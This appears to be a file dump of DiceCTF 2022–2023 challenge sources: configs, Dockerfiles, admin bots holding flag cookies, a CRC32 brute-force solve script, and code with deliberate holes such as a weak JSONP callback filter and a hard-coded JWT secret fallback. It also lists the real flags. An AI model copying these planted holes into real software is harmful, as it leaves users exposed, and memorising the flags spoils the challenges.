15 | sendfile on;
16 | tcp_nopush on;
17 | client_max_body_size 1M;
18 |
19 | include /etc/nginx/mime.types;
20 |
21 | server {
22 | listen 80;
23 | server_name _;
24 |
25 | location / {
26 | proxy_pass http://localhost:8080;
27 | proxy_set_header Host $host;
28 | proxy_set_header X-Forwarded-For $remote_addr;
29 | }
30 | }
31 | }
--------------------------------------------------------------------------------
/DiceCTF-2022/denoblog/config/supervisord.conf:
--------------------------------------------------------------------------------
1 | [supervisord]
2 | user=root
3 | nodaemon=true
4 | logfile=/dev/null
5 | logfile_maxbytes=0
6 | pidfile=/run/supervisord.pid
7 |
8 | [program:deno]
9 | command=/app/app
10 | autorestart=true
11 | stdout_logfile=/dev/stdout
12 | stdout_logfile_maxbytes=0
13 | stderr_logfile=/dev/stderr
14 | stderr_logfile_maxbytes=0
15 | user=nobody
16 |
17 | [program:nginx]
18 | command=nginx -g 'daemon off;'
19 | stdout_logfile=/dev/stdout
20 | stdout_logfile_maxbytes=0
21 | stderr_logfile=/dev/stderr
22 | stderr_logfile_maxbytes=0
--------------------------------------------------------------------------------
/DiceCTF-2022/denoblog/flag.txt:
--------------------------------------------------------------------------------
1 | dice{test_flag}
--------------------------------------------------------------------------------
/DiceCTF-2022/denoblog/readflag:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2022/denoblog/readflag
--------------------------------------------------------------------------------
/DiceCTF-2022/notekeeper/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:current-buster-slim
2 |
3 | RUN mkdir -p /app
4 |
5 | WORKDIR /app
6 |
7 | COPY package.json .
8 |
9 | RUN npm install
10 |
11 | COPY . .
12 |
13 | RUN chown node:node /app/uploads
14 |
15 | USER node
16 |
17 | CMD ["node", "index.js"]
--------------------------------------------------------------------------------
/DiceCTF-2022/notekeeper/README.md:
--------------------------------------------------------------------------------
1 | Difficulty: Insane
2 |
3 | Author: Strellic
4 |
5 | Description:
6 | ```
7 | Yet another note keeping application... but this one supports voice memos!!!
8 | ```
9 |
10 | Flag: `dice{jsonp_how_could_you_do_this_to_me}`
11 |
--------------------------------------------------------------------------------
/DiceCTF-2022/notekeeper/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "notekeeper",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "author": "Strellic",
10 | "license": "ISC",
11 | "dependencies": {
12 | "argon2": "^0.28.3",
13 | "cookie-parser": "^1.4.6",
14 | "express": "^4.17.2",
15 | "express-jwt": "^6.1.0",
16 | "jsonwebtoken": "^8.5.1",
17 | "multer": "^1.4.4",
18 | "uuid": "^8.3.2"
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/DiceCTF-2022/notekeeper/public/assets/fonts/fa-brands-400.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2022/notekeeper/public/assets/fonts/fa-brands-400.eot
--------------------------------------------------------------------------------
/DiceCTF-2022/notekeeper/public/assets/fonts/fa-brands-400.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2022/notekeeper/public/assets/fonts/fa-brands-400.ttf
--------------------------------------------------------------------------------
/DiceCTF-2022/notekeeper/public/assets/fonts/fa-brands-400.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2022/notekeeper/public/assets/fonts/fa-brands-400.woff
--------------------------------------------------------------------------------
/DiceCTF-2022/notekeeper/public/assets/fonts/fa-brands-400.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2022/notekeeper/public/assets/fonts/fa-brands-400.woff2
--------------------------------------------------------------------------------
/DiceCTF-2022/notekeeper/public/assets/fonts/fa-regular-400.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2022/notekeeper/public/assets/fonts/fa-regular-400.eot
--------------------------------------------------------------------------------
/DiceCTF-2022/notekeeper/public/assets/fonts/fa-regular-400.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2022/notekeeper/public/assets/fonts/fa-regular-400.ttf
--------------------------------------------------------------------------------
/DiceCTF-2022/notekeeper/public/assets/fonts/fa-regular-400.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2022/notekeeper/public/assets/fonts/fa-regular-400.woff
--------------------------------------------------------------------------------
/DiceCTF-2022/notekeeper/public/assets/fonts/fa-regular-400.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2022/notekeeper/public/assets/fonts/fa-regular-400.woff2
--------------------------------------------------------------------------------
/DiceCTF-2022/notekeeper/public/assets/fonts/fa-solid-900.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2022/notekeeper/public/assets/fonts/fa-solid-900.eot
--------------------------------------------------------------------------------
/DiceCTF-2022/notekeeper/public/assets/fonts/fa-solid-900.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2022/notekeeper/public/assets/fonts/fa-solid-900.ttf
--------------------------------------------------------------------------------
/DiceCTF-2022/notekeeper/public/assets/fonts/fa-solid-900.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2022/notekeeper/public/assets/fonts/fa-solid-900.woff
--------------------------------------------------------------------------------
/DiceCTF-2022/notekeeper/public/assets/fonts/fa-solid-900.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2022/notekeeper/public/assets/fonts/fa-solid-900.woff2
--------------------------------------------------------------------------------
/DiceCTF-2022/notekeeper/src/jwt.js:
--------------------------------------------------------------------------------
1 | const jwt = require("jsonwebtoken");
2 | const secret = process.env.JWT_SECRET || "jwt secret";
3 |
4 | const sign = (username, alert) => {
5 | return jwt.sign({
6 | username,
7 | alert
8 | }, secret);
9 | };
10 |
11 | const signData = (res, username, alert) => {
12 | res.cookie('session', sign(username, alert), { httpOnly: true });
13 | };
14 |
15 | module.exports = {
16 | secret, signData
17 | };
--------------------------------------------------------------------------------
/DiceCTF-2022/notekeeper/src/utils.js:
--------------------------------------------------------------------------------
1 | const jwt = require("./jwt.js");
2 |
3 | const jsonp = (req, res, type, data) => {
4 | if(req.query.callback && (typeof req.query.callback !== "string" || req.query.callback.includes('eval'))) {
5 | return res.status(400).send('no');
6 | }
7 | req.query.callback = req.query.callback || "load_" + type;
8 | res.jsonp(data);
9 | };
10 |
11 | const alert = (req, res, type, msg) => {
12 | jwt.signData(res, req.user?.username, { type, msg });
13 | };
14 |
15 | module.exports = { jsonp, alert };
--------------------------------------------------------------------------------
/DiceCTF-2022/notekeeper/uploads/flag.mp3:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2022/notekeeper/uploads/flag.mp3
--------------------------------------------------------------------------------
/DiceCTF-2022/vm-calc/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:16.13.1-bullseye-slim
2 |
3 | RUN mkdir -p /app
4 |
5 | WORKDIR /app
6 |
7 | COPY package.json .
8 |
9 | RUN npm install
10 |
11 | COPY . .
12 |
13 | USER node
14 |
15 | CMD ["node", "index.js"]
--------------------------------------------------------------------------------
/DiceCTF-2022/vm-calc/README.md:
--------------------------------------------------------------------------------
1 | Difficulty: Medium
2 |
3 | Author: Strellic
4 |
5 | Description:
6 | ```
7 | A simple and very secure online calculator!
8 | ```
9 |
10 | Flag: `dice{y0u_4re_a_tru3_vm2_j4ilbreak3r!!!}`
11 |
--------------------------------------------------------------------------------
/DiceCTF-2022/vm-calc/flag.txt:
--------------------------------------------------------------------------------
1 | dice{test_flag}
--------------------------------------------------------------------------------
/DiceCTF-2022/vm-calc/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "vm-calc",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "author": "Strellic",
10 | "license": "ISC",
11 | "dependencies": {
12 | "express": "^4.17.2",
13 | "hbs": "^4.2.0",
14 | "vm2": "^3.9.5"
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/DiceCTF-2022/vm-calc/views/admin.hbs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | vm-calc | admin
5 |
6 |
7 |
8 |
16 |
17 |
18 | Login:
19 | {{#if error}}
20 | Error: {{error}}
21 | {{/if}}
22 | {{#if flag}}
23 | Flag: {{flag}}
24 | {{/if}}
25 |
26 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/DiceCTF-2022/vm-calc/views/index.hbs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | vm-calc
5 |
6 |
7 |
8 |
16 |
17 |
18 | Enter math expression here:
19 |
23 | {{#if result}}
24 | Result: {{result}}
25 | {{/if}}
26 |
27 |
28 |
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/adminbot.js:
--------------------------------------------------------------------------------
1 | import flag from './flag.txt'
2 |
3 | function sleep(time) {
4 | return new Promise(resolve => {
5 | setTimeout(resolve, time)
6 | })
7 | }
8 |
9 | export default {
10 | name: 'chess.rs admin bot',
11 | urlRegex: /^https?:\/\/.*\//,
12 | timeout: 10000,
13 | handler: async (url, ctx) => {
14 | const page = await ctx.newPage();
15 | await page.goto('https://chessrs.mc.ax', { timeout: 3000, waitUntil: 'domcontentloaded' });
16 | await page.evaluate(flag => {
17 | document.cookie = `flag=${flag}`;
18 | }, flag);
19 | await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' });
20 | await sleep(3000);
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge.yml:
--------------------------------------------------------------------------------
1 | name: chess.rs
2 | author: strellic
3 | description: |-
4 | 🚀 blazingfast rust wasm chess 🚀
5 |
6 | (the flag is in the admin bot's cookie)
7 |
8 | {{ link }}
9 |
10 | [Admin Bot]({{ adminbot }})
11 | flag:
12 | file: ./flag.txt
13 | sortWeight: 70
14 | provide:
15 | - chessrs.tar.gz
16 | - adminbot-test.js
17 | containers:
18 | main:
19 | replicas: 2
20 | build: challenge
21 | ports:
22 | - 1337
23 | expose:
24 | main:
25 | - target: 1337
26 | http: chessrs
27 | healthContent: chess
28 | adminbot: adminbot.js
29 |
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | # build phase
2 | FROM rust:slim AS builder
3 |
4 | WORKDIR /app
5 | COPY ./app .
6 | RUN cargo build --release
7 |
8 | # final image
9 | FROM debian:bullseye-slim
10 |
11 | WORKDIR /app
12 | COPY --from=builder /app/target/release/app ./
13 | COPY --from=builder /app/static ./static/
14 |
15 | RUN useradd -ms /bin/bash user
16 | USER user
17 |
18 | CMD ["/app/app"]
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/app/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "app"
3 | version = "0.1.0"
4 | authors = ["strellic"]
5 | edition = "2021"
6 |
7 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
8 |
9 | [dependencies]
10 | axum = "0.6.4"
11 | axum-extra = { version = "0.4.2", features = ["spa"] }
12 | tokio = { version = "1.24.2", features = ["full"] }
13 |
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/app/static/css/styles.css:
--------------------------------------------------------------------------------
1 | body {
2 | background-color: #161925;
3 | height: 100vh;
4 | }
5 |
6 | h1, h2, h3, h4, h5, h6 {
7 | color: #f1f2f6;
8 | }
9 |
10 | .card-title, .card-text {
11 | color: #161925;
12 | }
13 |
14 | .chessboard-parent {
15 | width: 75vh;
16 | }
17 |
18 | #chessboard {
19 | height: 100%;
20 | width: 100%;
21 | }
22 |
23 | .history-parent {
24 | max-height: 75vh;
25 | }
26 |
27 | #engine {
28 | display: none;
29 | }
30 |
31 | .navbar > div > .navbar-brand {
32 | color: black;
33 | }
34 |
35 | .navbar.navbar-dark > div > .navbar-brand {
36 | color: white;
37 | }
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/app/static/engine.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
15 |
16 |
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/LICENSE.txt:
--------------------------------------------------------------------------------
1 | By Cburnett - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=1499806
2 |
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/bB.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/bB.png
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/bK.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/bK.png
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/bN.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/bN.png
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/bP.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/bP.png
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/bQ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/bQ.png
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/bR.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/bR.png
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/wB.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/wB.png
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/wK.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/wK.png
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/wN.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/wN.png
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/wP.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/wP.png
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/wQ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/wQ.png
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/wR.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2023/pwn/chessrs/challenge/app/static/img/chesspieces/wikipedia/wR.png
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/app/static/js/chess_wasm_bg.wasm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2023/pwn/chessrs/challenge/app/static/js/chess_wasm_bg.wasm
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/app/static/mp3/move.mp3:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2023/pwn/chessrs/challenge/app/static/mp3/move.mp3
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/build.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | # use if you want to build everything and test locally
3 | cd chess-wasm && wasm-pack build --no-typescript --release --target web && cd ..
4 | cd app && cargo build --release && cd ..
5 | cp chess-wasm/pkg/chess_wasm* app/static/js/
6 | cd app && cargo run --release && cd ..
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/challenge/chess-wasm/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "chess-wasm"
3 | version = "0.1.0"
4 | authors = ["strellic"]
5 | edition = "2021"
6 |
7 | [lib]
8 | crate-type = ["cdylib", "rlib"]
9 |
10 | [dependencies]
11 | wasm-bindgen = "0.2.63"
12 | once_cell = "1.17.0"
13 | serde = { version = "1.0.152", features = ["derive"] }
14 | serde_json = "1.0.91"
15 | serde-wasm-bindgen = "0.4.5"
16 | anyhow = "1.0.68"
17 | shakmaty = "0.23.0"
18 |
19 | [profile.release]
20 | # Tell `rustc` to optimize for small code size.
21 | opt-level = "s"
22 |
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/chessrs.tar.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2023/pwn/chessrs/chessrs.tar.gz
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/flag.txt:
--------------------------------------------------------------------------------
1 | dice{even_my_pwn_ch4lls_have_an_adm1n_b0t!!!}
2 |
--------------------------------------------------------------------------------
/DiceCTF-2023/pwn/chessrs/make_handout.sh:
--------------------------------------------------------------------------------
1 | tar --owner="strell" --group="strell" -H v7 --no-xattr --mtime=1970-01-01T00:00Z -czvf chessrs.tar.gz challenge --transform s/challenge/chessrs/
2 |
--------------------------------------------------------------------------------
/DiceCTF-2023/web/jwtjail/challenge.yml:
--------------------------------------------------------------------------------
1 | name: jwtjail
2 | author: strellic
3 | description: |-
4 | A simple tool to verify your JWTs!
5 |
6 | Oh, that CVE? Don't worry, we're running the latest version.
7 |
8 | [Instancer]({{ instancer }})
9 |
10 | flag:
11 | file: challenge/flag.txt
12 | sortWeight: 30
13 | provide:
14 | - jwtjail.tar.gz
15 |
16 | containers:
17 | app:
18 | build: challenge
19 | ports:
20 | - 12345
21 | expose:
22 | app:
23 | - target: 12345
24 | http: jwtjail
25 | instancer:
26 | timeout: 600000
27 |
--------------------------------------------------------------------------------
/DiceCTF-2023/web/jwtjail/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:19-alpine3.16
2 |
3 | WORKDIR /app
4 | COPY package.json ./
5 | COPY public ./public
6 | RUN npm i
7 | COPY app.js .
8 |
9 | COPY flag.txt /flag.txt
10 | COPY readflag /readflag
11 | RUN chmod 400 /flag.txt
12 | RUN chmod 6755 /readflag
13 |
14 | RUN adduser -D user
15 | USER user
16 |
17 | CMD ["/bin/sh", "-c", "while true; do node app.js; done"]
--------------------------------------------------------------------------------
/DiceCTF-2023/web/jwtjail/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | dice{th3y_retr4cted_the_cve_:(}
--------------------------------------------------------------------------------
/DiceCTF-2023/web/jwtjail/challenge/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "jwtjail",
3 | "version": "1.0.0",
4 | "main": "app.js",
5 | "scripts": {
6 | "test": "echo \"Error: no test specified\" && exit 1"
7 | },
8 | "author": "",
9 | "license": "ISC",
10 | "description": "",
11 | "dependencies": {
12 | "express": "^4.18.2",
13 | "jsonwebtoken": "^9.0.0"
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/DiceCTF-2023/web/jwtjail/challenge/readflag:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2023/web/jwtjail/challenge/readflag
--------------------------------------------------------------------------------
/DiceCTF-2023/web/jwtjail/jwtjail.tar.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/DiceCTF-2023/web/jwtjail/jwtjail.tar.gz
--------------------------------------------------------------------------------
/DiceCTF-2023/web/jwtjail/make_handout.sh:
--------------------------------------------------------------------------------
1 | cp -r challenge jwtjail
2 | echo -n "dice{test_flag}" > jwtjail/flag.txt
3 | tar --owner="strell" --group="strell" -H v7 --no-xattr --mtime=1970-01-01T00:00Z -czvf jwtjail.tar.gz jwtjail
4 | rm -rf jwtjail
5 |
--------------------------------------------------------------------------------
/DiceCTF-2023/web/recursive-csp/adminbot.js:
--------------------------------------------------------------------------------
1 | import flag from './flag.txt'
2 |
3 | function sleep(time) {
4 | return new Promise(resolve => {
5 | setTimeout(resolve, time)
6 | })
7 | }
8 |
9 | export default {
10 | name: 'recursive-csp admin bot',
11 | urlRegex: /^https:\/\/recursive-csp\.mc\.ax\//,
12 | timeout: 10000,
13 | handler: async (url, ctx) => {
14 | const page = await ctx.newPage();
15 | await page.goto('https://recursive-csp.mc.ax', { timeout: 3000, waitUntil: 'domcontentloaded' });
16 | await page.evaluate(flag => {
17 | document.cookie = `flag=${flag}`;
18 | }, flag);
19 | await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' });
20 | await sleep(3000);
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/DiceCTF-2023/web/recursive-csp/challenge.yml:
--------------------------------------------------------------------------------
1 | name: recursive-csp
2 | author: strellic
3 | description: |-
4 | the nonce isn't random, so how hard could this be?
5 |
6 | (the flag is in the admin bot's cookie)
7 |
8 | {{ link }}
9 |
10 | [Admin Bot]({{ adminbot }})
11 | flag:
12 | file: ./flag.txt
13 | sortWeight: 100
14 | containers:
15 | main:
16 | replicas: 2
17 | build: challenge
18 | ports:
19 | - 80
20 | expose:
21 | main:
22 | - target: 80
23 | http: recursive-csp
24 | healthContent: recursive-csp
25 | adminbot: adminbot.js
26 |
--------------------------------------------------------------------------------
/DiceCTF-2023/web/recursive-csp/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8.2-apache-buster
2 |
3 | COPY index.php /var/www/html/index.php
--------------------------------------------------------------------------------
/DiceCTF-2023/web/recursive-csp/challenge/index.php:
--------------------------------------------------------------------------------
1 |
12 |
13 |
14 |
15 | recursive-csp
16 |
17 |
18 | Hello, !
19 | Enter your name:
20 |
24 |
25 |
26 |
27 |
--------------------------------------------------------------------------------
/DiceCTF-2023/web/recursive-csp/flag.txt:
--------------------------------------------------------------------------------
1 | dice{h0pe_that_d1dnt_take_too_l0ng}
--------------------------------------------------------------------------------
/DiceCTF-2023/web/recursive-csp/solve/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "rsolve"
3 | version = "0.1.0"
4 | edition = "2021"
5 |
6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7 |
8 | [dependencies]
9 | crc32fast = "1.3.2"
10 | rayon = "1.6.1"
11 |
--------------------------------------------------------------------------------
/DiceCTF-2023/web/recursive-csp/solve/src/main.rs:
--------------------------------------------------------------------------------
1 | use rayon::prelude::*;
2 |
3 | fn main() {
4 | let payload = "".to_string();
5 | let start = payload.find("Z").unwrap();
6 | (0..=0xFFFFFFFFu32).into_par_iter().for_each(|i| {
7 | let mut p = payload.clone();
8 | p.replace_range(start..start+8, &format!("{:08x}", i));
9 | if crc32fast::hash(p.as_bytes()) == i {
10 | println!("{} {i} {:08x}", p, i);
11 | }
12 | });
13 | }
14 |
--------------------------------------------------------------------------------
/DiceCTF-2023/web/unfinished/challenge.yml:
--------------------------------------------------------------------------------
1 | name: unfinished
2 | author: strellic
3 | description: |-
4 | It's the day of the CTF and I haven't finished writing this challenge...
5 |
6 | Well, unfinished doesn't mean unsolvable.
7 |
8 | [Instancer]({{ instancer }})
9 |
10 | flag: dice{i_lied_this_1s_th3_finished_st4te}
11 | sortWeight: 60
12 | provide:
13 | - unfinished.tar.gz
14 |
15 | containers:
16 | app:
17 | build: ./challenge/app/
18 | ports:
19 | - 4444
20 | mongodb:
21 | build: ./challenge/mongo/
22 | ports:
23 | - 27017
24 | environment:
25 | FLAG: dice{i_lied_this_1s_th3_finished_st4te}
26 | resources:
27 | limits:
28 | memory: 300Mi
29 | cpu: 200m
30 | requests:
31 | memory: 100Mi
32 | cpu: 50m
33 | expose:
34 | app:
35 | - target: 4444
36 | http: unfinished
37 | instancer:
38 | timeout: 600000
--------------------------------------------------------------------------------
/DiceCTF-2023/web/unfinished/challenge/app/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM buildpack-deps:stretch-scm AS builder
2 |
3 | WORKDIR /tmp
4 |
5 | RUN apt-get update && \
6 | apt-get install -y --no-install-recommends \
7 | g++ gcc libc6-dev make pkg-config
8 | RUN apt-get install -y libssl-dev
9 |
10 | RUN wget -q https://curl.haxx.se/download/curl-7.87.0.tar.gz && \
11 | tar xzf curl-7.87.0.tar.gz
12 |
13 | WORKDIR /tmp/curl-7.87.0
14 |
15 | RUN ./configure --prefix=/build \
16 | --disable-shared --enable-static --with-openssl \
17 | --disable-gopher && \
18 | make && \
19 | make install
20 |
21 | FROM node:19-slim
22 |
23 | COPY --from=builder /build/bin/curl /usr/sbin/curl
24 |
25 | RUN apt-get update && \
26 | apt-get install -y ca-certificates && \
27 | rm -rf /var/lib/apt/lists/*
28 |
29 | WORKDIR /app
30 | COPY package.json ./
31 | COPY static ./static
32 | RUN npm i
33 | COPY app.js .
34 |
35 | RUN useradd -ms /bin/bash user
36 | USER user
37 |
38 | CMD ["/bin/sh", "-c", "while true; do node app.js; done"]
--------------------------------------------------------------------------------
/DiceCTF-2023/web/unfinished/challenge/app/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "challenge",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "author": "",
10 | "license": "ISC",
11 | "dependencies": {
12 | "express": "^4.18.2",
13 | "express-session": "^1.17.3",
14 | "mongodb": "^5.0.0"
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/DiceCTF-2023/web/unfinished/challenge/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3.9"
2 | services:
3 | app:
4 | build: ./app/
5 | ports:
6 | - "4444:4444"
7 | mongodb:
8 | build: ./mongo/
--------------------------------------------------------------------------------
/DiceCTF-2023/web/unfinished/challenge/mongo/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM mongo:latest
2 |
3 | COPY init.js /docker-entrypoint-initdb.d/init.js
--------------------------------------------------------------------------------
/DiceCTF-2023/web/unfinished/challenge/mongo/init.js:
--------------------------------------------------------------------------------
1 | const crypto = require("crypto");
2 |
3 | const app = db.getSiblingDB('app');
4 | app.users.insertOne({ user: crypto.randomBytes(8).toString("hex"), pass: crypto.randomBytes(64).toString("hex") });
5 |
6 | const secret = db.getSiblingDB('secret');
7 | secret.flag.insertOne({ flag: process.env.FLAG || "dice{test_flag}" });
